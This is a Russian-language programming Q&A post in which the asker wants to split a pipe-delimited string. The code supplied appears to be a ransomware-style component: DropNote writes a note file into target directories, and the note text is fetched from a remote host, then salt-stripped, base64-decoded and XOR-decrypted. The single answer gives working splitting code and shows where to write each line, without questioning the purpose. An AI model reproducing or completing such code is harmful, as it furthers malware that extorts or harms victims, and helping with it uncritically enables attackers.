z0ddak
@z0ddak
Просто хороший человек

C++ :: Как правильно поместить строку в массив, разбив предварительно по разделителям?

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Это исходный код, который я корректирую - collabedit.com/ncr3c
==============================================================
// Это изначальный код, который я корректирую... 
// Все заголовки указаны - код компилится и работает без ошибок

using GetString_t = std::vector<String_t>;
using String_t = std::string;
using WString_t = std::wstring;

String_t const NOTE[] = 
{ 
    "xxxxxxxxxxxxxxxxxxxxxxxxxx",
    "yyyyyyyyyyyyyyyyyyyyyyyyyy",
    "zzzzzzzzzzzzzzzzzzzzzzzzzz",
};

bool DropNote(const WString_t&& drop_path)
{
    if (drop_path.empty())
    {
        return false;
    }

    auto path = GetPath(std::forward<const WString_t&&>(drop_path));
    if (path.empty())
    {
        return false;
    }

    path += NOTE_NAME;

    if (!IsFileExist(std::forward<const WString_t&&>(path)))
    {
        HANDLE file = CreateFile(path.c_str(), GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
        if (file != INVALID_HANDLE_VALUE)
        {
            DWORD written = 0;

            for (auto note : NOTE)
            {
                WriteFile(file, note.c_str(), note.size(), &written, 0);
            }

            CloseHandle(file);
            return true;
        }
    }

    return false;
}


===================================================================================================
А тут получаю строку с хоста и пытаюсь получить (разбить по разделителям) ее массив - collabedit.com/2jpv5
===================================================================================================
// Все заголовки указаны - код компилится без ошибок
// Нужен этот вариант с получением строки с хоста - не работает (не пишет полученные строки в файл)

using GetString_t = std::vector<String_t>;
using String_t = std::string;
using WString_t = std::wstring;

//////////// Получаем строку с хоста ///////////
String_t GetStroke()
{

    WSADATA wd = { 0 };
    if (WSAStartup(MAKEWORD(2, 2), &wd) != 0)
        exit(0);

    String_t buf;
    String_t info_page = HostUrl + "/" + API + "?ext=1";  // запрос на ресурс для получения зашифрованной строки
    int err = ::ReadUrl(info_page.c_str(), buf, 12000);

    if (err != ERROR_SUCCESS)
        exit(0);
    WSACleanup();

//////// Расшифровка строки ///////////
    String_t desplit1 = split(std::move(buf), std::move(info_rsalt))[0];
    String_t desplit2 = split(std::move(desplit1), std::move(info_lsalt))[1];
    String_t decoded = base64_decode(desplit2);
    String_t getstroke = XoR(decoded, keyx);
    
    return getstroke; // что строка получена, я уверен :: строка вида "xxxxxxx|yyyyyyyy|zzzzzzz"
}



///////// Получаем массив строк и пишем их в файл в файл ///////////
bool DropNote(const WString_t&& drop_path)
{
    ////////// получаем и сплитим строку ////////////

    GetString_t NOTE;
    String_t const s = GetStroke();
    size_t b = 0; // Очередная подстрока
    for (size_t e = s.find('|', b); e != s.npos; e = s.find('|', ++b))
    {
        NOTE.push_back(s.substr(b, e - b));
        b = e;
    }
    NOTE.push_back(s.substr(b));

    /////////////////////////////////////////////////

    if (drop_path.empty())
    {
        return false;
    }

    auto path = GetPath(std::forward<const WString_t&&>(drop_path));
    if (path.empty())
    {
        return false;
    }

    path += NOTE_NAME;

    if (!IsFileExist(std::forward<const WString_t&&>(path)))
    {
        HANDLE file = CreateFile(path.c_str(), GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
        if (file != INVALID_HANDLE_VALUE)
        {
            DWORD written = 0;
            for (auto note : NOTE)
            {
                WriteFile(file, note.c_str(), note.size(), &written, 0);
            }

            CloseHandle(file);
            return true;
        }
    }

    return false;
}

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

Изначально массив строк объявлялся в исходниках:
const std::string STRING[] =
{
    "xxxxxxxxxxxxxxxxxx",
    "yyyyyyyyyyyyyyyyyy",
    "zzzzzzzzzzzzzzzzzz",
};
.
.
.
DWORD written = 0;
for (auto note : STRING)
{
    WriteFile(file, note.c_str(), note.size(), &written, 0);
}
.
.
.

Но сейчас я получаю строку с хоста такого вида:
"xxxxxxxxxxxxxxxxxx|yyyyyyyyyyyyyyyyyy|zzzzzzzzzzzzzzzzzz"

Нужен именно статический массив строк: не более 40 строк и не более 100 символов в строке (Unix или Windows).
сам затрудняюсь правильно разбить её и поместить в массив STRING[ ], подскажите пожалуйста как сделать это правильно.
  • Вопрос задан
  • 174 просмотра
Пригласить эксперта
Ответы на вопрос 1
myjcom
@myjcom Куратор тега C++
#include <iostream>
#include <algorithm>
#include <sstream>
#include <string>
#include <vector>
#include <iterator>

using namespace std;


int main()
{
  string s = "xxxxxxxxxxxxxxxxxx|yyyyyyyyyyyyyyyyyy|zzzzzzzzzzzzzzzzzz";

  auto ss = istringstream(s);
  vector<string> vs;

  string line;
  while(getline(ss, line, '|'))
  {
    vs.push_back(line);
    // В твоем случае
    // WriteFile(file, line.c_str(), line.size(), &written, 0);
  }

  copy(vs.begin(), vs.end(), ostream_iterator<string>(cout, " "));
}
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы